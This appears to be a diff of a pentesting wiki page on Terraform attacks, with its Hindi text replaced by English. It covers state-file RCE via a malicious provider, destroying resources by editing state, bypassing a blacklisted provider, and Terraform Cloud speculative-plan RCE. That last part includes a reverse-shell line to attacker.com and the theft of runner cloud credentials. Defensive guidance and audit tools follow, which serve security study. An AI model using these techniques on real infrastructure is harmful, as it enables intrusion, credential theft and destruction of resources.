यह संभव है कि आप [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) और terraform state file में से किसी एक provider को malicious वाले से replace कर दें या malicious provider को reference करने वाला एक fake resource जोड़ दें।
|
||||
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
|
||||
|
||||
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) इस रिसर्च पर आधारित है और इस सिद्धांत को weaponize करता है। आप एक fake resource जोड़ सकते हैं और attribute `command` में अपना arbitrary bash command डाल सकते हैं जिसे आप चलाना चाहते हैं। जब `terraform` run trigger होगा, यह दोनों `terraform plan` और `terraform apply` चरणों में पढ़ा और execute किया जाएगा। `terraform apply` के मामले में, `terraform` आपके command को execute करने के बाद state file से fake resource को delete कर देगा, अपने आप cleanup करते हुए। अधिक जानकारी और पूरा demo इस provider के source code को होस्ट करने वाले [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce) में पाया जा सकता है।
|
||||
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
|
||||
|
||||
इसे सीधे उपयोग करने के लिए, बस निम्नलिखित को `resources` array में किसी भी स्थान पर शामिल करें और `name` और `command` attributes को customize करें:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
फिर, जैसे ही `terraform` निष्पादित होता है, आपका कोड चल जाएगा।
|
||||
|
||||
### संसाधनों को हटाना <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
Then, as soon as `terraform` gets executed, your code will run.
|
||||
|
||||
संसाधनों को नष्ट करने के 2 तरीके हैं:
|
||||
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
1. **नष्ट किए जाने वाले वास्तविक resource की ओर इशारा करते हुए state फ़ाइल में एक यादृच्छिक नाम के साथ resource डालें**
|
||||
There are 2 ways to destroy resources:
|
||||
|
||||
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
|
||||
|
||||
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
|
||||
|
||||
क्योंकि `terraform` देखेगा कि वह resource मौजूद नहीं होना चाहिए, यह उसे नष्ट कर देगा (दिए गए वास्तविक resource ID के अनुसार)। उदाहरण पिछले पृष्ठ से:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Resource को ऐसे संशोधित करें कि उसे अपडेट करना संभव न हो (ताकि वह हटाया जाए और फिर से बनाया जाए)**
|
||||
|
||||
EC2 instance के लिए, instance के type को बदलना पर्याप्त होता है ताकि terraform उसे हटाकर फिर से बना दे।
|
||||
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
|
||||
|
||||
### ब्लैकलिस्ट किए गए प्रोवाइडर को बदलें
|
||||
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
|
||||
|
||||
### Replace blacklisted provider
|
||||
|
||||
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
|
||||
|
||||
अगर आपको ऐसी स्थिति मिले जहाँ `hashicorp/external` ब्लैकलिस्ट किया गया हो, तो आप नीचे दिए तरीके से `external` provider को पुनः लागू (re-implement) कर सकते हैं। नोट: हम external provider के एक fork का उपयोग करते हैं जो https://registry.terraform.io/providers/nazarewk/external/latest पर प्रकाशित है। आप अपना खुद का fork या re-implementation भी प्रकाशित कर सकते हैं।
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
तब आप सामान्य रूप से `external` का उपयोग कर सकते हैं।
|
||||
|
||||
Then you can use `external` as per normal.
|
||||
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
यह परिदृश्य Terraform Cloud (TFC) runners का speculative plans के दौरान दुरुपयोग करके लक्ष्य क्लाउड खाते में pivot करने का तरीका दिखाता है।
|
||||
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
|
||||
|
||||
- पूर्वशर्तें:
|
||||
- एक developer मशीन से Terraform Cloud token चुराएँ। CLI tokens को plaintext में `~/.terraform.d/credentials.tfrc.json` पर स्टोर करता है।
|
||||
- टोकन के पास लक्ष्य organization/workspace तक पहुँच और कम से कम `plan` permission होना चाहिए। VCS-backed workspaces CLI से `apply` को ब्लॉक करते हैं, पर फिर भी speculative plans की अनुमति देते हैं।
|
||||
- Preconditions:
|
||||
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
|
||||
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
|
||||
|
||||
- Discover workspace and VCS settings via the TFC API:
|
||||
|
||||
- TFC API के माध्यम से workspace और VCS सेटिंग्स खोजें:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- speculative plan के दौरान external data source और Terraform Cloud "cloud" block का उपयोग करके VCS-backed workspace को लक्षित करने के लिए code execution ट्रिगर करें:
|
||||
|
||||
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
|
||||
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
}
|
||||
|
||||
data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
TFC runner पर reverse shell प्राप्त करने के लिए rsync.sh का उदाहरण:
|
||||
|
||||
Example rsync.sh to obtain a reverse shell on the TFC runner:
|
||||
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
ephemeral runner पर प्रोग्राम को निष्पादित करने के लिए एक अनुमानित योजना चलाएँ:
|
||||
|
||||
Run a speculative plan to execute the program on the ephemeral runner:
|
||||
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Runner से injected cloud credentials को enumerate और exfiltrate करें। Runs के दौरान, TFC provider credentials को files और environment variables के माध्यम से inject किया जाता है:
|
||||
|
||||
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
|
||||
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Runner की working directory में अपेक्षित फ़ाइलें:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON कॉन्फ़िग)
|
||||
- `tfc-gcp-token` (short-lived GCP एक्सेस टोकन)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption कॉन्फ़िग)
|
||||
- `tfc-aws-token` (short-lived टोकन; कुछ संगठन स्थिर keys का उपयोग कर सकते हैं)
|
||||
|
||||
- VCS gates को बायपास करने के लिए short-lived credentials को out-of-band तरीके से उपयोग करें:
|
||||
Expected files on the runner working directory:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
|
||||
- `tfc-gcp-token` (short-lived GCP access token)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
|
||||
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
|
||||
|
||||
- Use the short-lived credentials out-of-band to bypass VCS gates:
|
||||
|
||||
GCP (gcloud):
|
||||
|
||||
```bash
|
||||
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
|
||||
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
|
||||
gcloud config set project <PROJECT_ID>
|
||||
```
|
||||
|
||||
AWS (AWS CLI):
|
||||
|
||||
```bash
|
||||
export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
|
||||
|
||||
- रक्षा संबंधी मार्गदर्शन:
|
||||
- TFC उपयोगकर्ताओं/टीमों और tokens पर न्यूनतम विशेषाधिकार लागू करें। सदस्यताओं का ऑडिट करें और व्यापक 'owners' रोल से बचें।
|
||||
- संवेदनशील VCS-backed workspaces पर `plan` अनुमति जहाँ संभव हो सीमित करें।
|
||||
- Sentinel policies के साथ provider/data source allowlists लागू करें ताकि `data "external"` या अज्ञात providers को ब्लॉक किया जा सके। HashiCorp की provider filtering पर guidance देखें।
|
||||
- स्थिर cloud credentials के बजाय OIDC/WIF को प्राथमिकता दें; runners को संवेदनशील मानें। speculative plan runs और unexpected egress की निगरानी करें।
|
||||
- `tfc-*` credential artifacts की exfiltration का पता लगाएँ और plans के दौरान संदिग्ध `external` program उपयोग पर अलर्ट करें।
|
||||
- Defensive guidance:
|
||||
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
|
||||
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
|
||||
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
|
||||
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
|
||||
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
|
||||
|
||||
## Terraform Cloud का समझौता
|
||||
|
||||
## Compromising Terraform Cloud
|
||||
|
||||
### Using a token
|
||||
|
||||
जैसा कि **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. चोरी किए गए इस token से एक attacker token के स्कोप के भीतर user का impersonate कर सकता है।
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope.
|
||||
|
||||
Using this token it's possible to get the org/workspace with:
|
||||
|
||||
इस token का उपयोग करके org/workspace प्राप्त करना संभव है:
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
|
||||
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
|
||||
|
||||
### क्लाउड तक बाहर निकलना
|
||||
### Escaping to the cloud
|
||||
|
||||
फिर, यदि runner किसी cloud environment में स्थित है, तो runner से जुड़ी principal का token प्राप्त करना और उसे out of band उपयोग करना संभव है।
|
||||
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
|
||||
|
||||
- **GCP files (present in current run working directory)**
|
||||
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
|
||||
- `tfc-gcp-token` — अल्पकालिक (≈1 hour) GCP access token जो ऊपर संदर्भित है
|
||||
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
|
||||
- `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above
|
||||
|
||||
- **AWS files**
|
||||
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
|
||||
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
|
||||
(preferred over static keys).
|
||||
- `tfc-aws-token` — short‑lived token, या misconfigured होने पर संभावित रूप से static IAM keys।
|
||||
- `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.
|
||||
|
||||
|
||||
## Automatic Audit Tools
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk एक व्यापक Infrastructure as Code (IaC) स्कैनिंग समाधान प्रदान करता है जो Terraform, CloudFormation, Kubernetes, और अन्य IaC फॉर्मैट्स में कमजोरियाँ और गलत कॉन्फ़िगरेशन का पता लगाता है।
|
||||
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
|
||||
|
||||
- **Features:**
|
||||
- रीयल-टाइम स्कैनिंग सुरक्षा कमजोरियों और अनुपालन मुद्दों के लिए।
|
||||
- Version control systems (GitHub, GitLab, Bitbucket) के साथ इंटीग्रेशन।
|
||||
- Automated fix pull requests।
|
||||
- विस्तृत सुधारात्मक सुझाव।
|
||||
- Real-time scanning for security vulnerabilities and compliance issues.
|
||||
- Integration with version control systems (GitHub, GitLab, Bitbucket).
|
||||
- Automated fix pull requests.
|
||||
- Detailed remediation advice.
|
||||
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
|
||||
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
snyk auth
|
||||
snyk iac test /path/to/terraform/code
|
||||
```
|
||||
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** एक static code analysis tool है infrastructure as code (IaC) के लिए, और images और open source packages के लिए एक software composition analysis (SCA) tool भी है।
|
||||
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
|
||||
|
||||
यह उन cloud infrastructure को स्कैन करता है जो [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) का उपयोग करके provision की गई cloud infrastructure को स्कैन करता है, और graph-based scanning का उपयोग करके security और compliance misconfigurations का पता लगाता है।
|
||||
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
|
||||
|
||||
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
|
||||
|
||||
यह [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) करता है, जो open source packages और images में Common Vulnerabilities and Exposures (CVEs) के लिए एक scan है।
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन-केंद्रित टेस्ट फ्रेमवर्क है जो terraform के लिए infrastructure-as-code में negative testing की क्षमता प्रदान करता है।
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
|
||||
|
||||
- **compliance:** सुनिश्चित करें कि लागू कोड सुरक्षा मानकों और आपके स्वयं के कस्टम मानकों का पालन कर रहा है।
|
||||
- **behaviour driven development:** हमारे पास लगभग हर चीज़ के लिए BDD है, IaC के लिए क्यों नहीं?
|
||||
- **portable:** बस इसे `pip` से इंस्टॉल करें या `docker` के जरिए चलाएँ। See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** यह आपके कोड को डिप्लॉय होने से पहले वैलिडेट करता है
|
||||
- **easy to integrate:** यह आपके pipeline (या git hooks में) चल सकता है ताकि सभी deployments वैलिडेट हों।
|
||||
- **segregation of duty:** आप अपने टेस्ट एक अलग repository में रख सकते हैं जहाँ एक अलग टीम ज़िम्मेदार होगी।
|
||||
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
|
||||
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
|
||||
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** it validates your code before it is deployed
|
||||
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
|
||||
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
|
||||
|
||||
> [!NOTE]
|
||||
> दुर्भाग्यवश अगर कोड किसी ऐसे providers का उपयोग कर रहा है जिनका आपको एक्सेस नहीं है, तो आप `terraform plan` नहीं चला पाएँगे और इस टूल को रन नहीं कर पाएँगे।
|
||||
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
|
||||
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
terraform-compliance -f /path/to/folder
|
||||
```
|
||||
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके terraform कोड का static analysis करके संभावित misconfigurations का पता लगाता है।
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
||||
|
||||
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
|
||||
- ⛔ Hundreds of built-in rules
|
||||
- 🪆 Scans modules (local and remote)
|
||||
- ➕ Evaluates HCL expressions as well as literal values
|
||||
- ↪️ Evaluates Terraform functions e.g. `concat()`
|
||||
- 🔗 Evaluates relationships between Terraform resources
|
||||
- 🧰 Compatible with the Terraform CDK
|
||||
- 🙅 Applies (and embellishes) user-defined Rego policies
|
||||
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurable (via CLI flags and/or config file)
|
||||
- ⚡ Very fast, capable of quickly scanning huge repositories
|
||||
|
||||
- ☁️ सभी प्रमुख (और कुछ छोटे) क्लाउड प्रदाताओं में गलत कॉन्फ़िगरेशन के लिए चेक करता है
|
||||
- ⛔ सैकड़ों अंतर्निर्मित नियम
|
||||
- 🪆 modules (local और remote) को स्कैन करता है
|
||||
- ➕ HCL expressions के साथ-साथ literal values का मूल्यांकन करता है
|
||||
- ↪️ Terraform functions जैसे `concat()` का मूल्यांकन करता है
|
||||
- 🔗 Terraform resources के बीच संबंधों का मूल्यांकन करता है
|
||||
- 🧰 Terraform CDK के साथ संगत है
|
||||
- 🙅 user-defined Rego policies को लागू (और बेहतर बनाता है)
|
||||
- 📃 कई output formats का समर्थन करता है: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ कॉन्फ़िगर करने योग्य (CLI flags और/या config file के माध्यम से)
|
||||
- ⚡ बहुत तेज़, बड़े repositories को जल्दी स्कैन करने में सक्षम
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Terrascan Infrastructure as Code के लिए एक स्टैटिक कोड विश्लेषक है। Terrascan आपको निम्न करने की अनुमति देता है:
|
||||
|
||||
- Infrastructure as Code में misconfigurations को सहजता से स्कैन करना।
|
||||
- प्रोविजन किए गए क्लाउड इंफ्रास्ट्रक्चर में उन configuration बदलावों की मॉनिटरिंग करना जो posture drift पैदा करते हैं, और secure posture पर वापस लौटने में सक्षम बनाना।
|
||||
- सुरक्षा कमजोरियों और compliance उल्लंघनों का पता लगाना।
|
||||
- क्लाउड-नेटिव इंफ्रास्ट्रक्चर को provision करने से पहले जोखिमों को कम करना।
|
||||
- लोकल रूप से चलाने या अपने CI\CD के साथ इंटीग्रेट करने की लचीलापन प्रदान करना।
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
अपने infrastructure-as-code के विकास चक्र के शुरुआती चरणों में Checkmarx के **KICS** के साथ सुरक्षा कमजोरियाँ, अनुपालन समस्याएँ और इन्फ्रास्ट्रक्चर के गलत कॉन्फ़िगरेशन खोजें।
|
||||
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure — यह open source है और किसी भी cloud native परियोजना के लिए एक आवश्यक उपकरण है।
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
[**docs**](https://github.com/tenable/terrascan) के अनुसार: Terrascan Infrastructure as Code के लिए एक static code analyzer है। Terrascan आपको निम्न करने की अनुमति देता है:
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
|
||||
|
||||
- Seamlessly scan infrastructure as code for misconfigurations.
|
||||
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
|
||||
- Detect security vulnerabilities and compliance violations.
|
||||
- Mitigate risks before provisioning cloud native infrastructure.
|
||||
- Offers flexibility to run locally or integrate with your CI\CD.
|
||||
|
||||
- गलत कॉन्फ़िगरेशन के लिए infrastructure as code को सहजता से scan करें।
|
||||
- provisioned cloud infrastructure में ऐसे कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो posture drift उत्पन्न करते हों, और secure posture पर वापस लौटने में सक्षम बनें।
|
||||
- सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाएँ।
|
||||
- cloud native infrastructure provisioning से पहले जोखिम कम करें।
|
||||
- स्थानीय रूप से चलाने या अपने CI\CD के साथ integrate करने की लचीलापन प्रदान करता है।
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
## References
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
@@ -406,12 +440,12 @@ brew install terrascan
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud अनुमतियाँ](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [AWS प्रदाता कॉन्फ़िगरेशन](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – संवेदनशील वेरिएबल्स](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: Terraform automation platforms के खतरे](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Github PRs का स्वागत है जो यह समझाते हैं कि हमलावर के दृष्टिकोण से उन प्लेटफार्मों का (दुरुपयोग) कैसे करें
|
||||
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
|
||||
|
||||
- Drone
|
||||
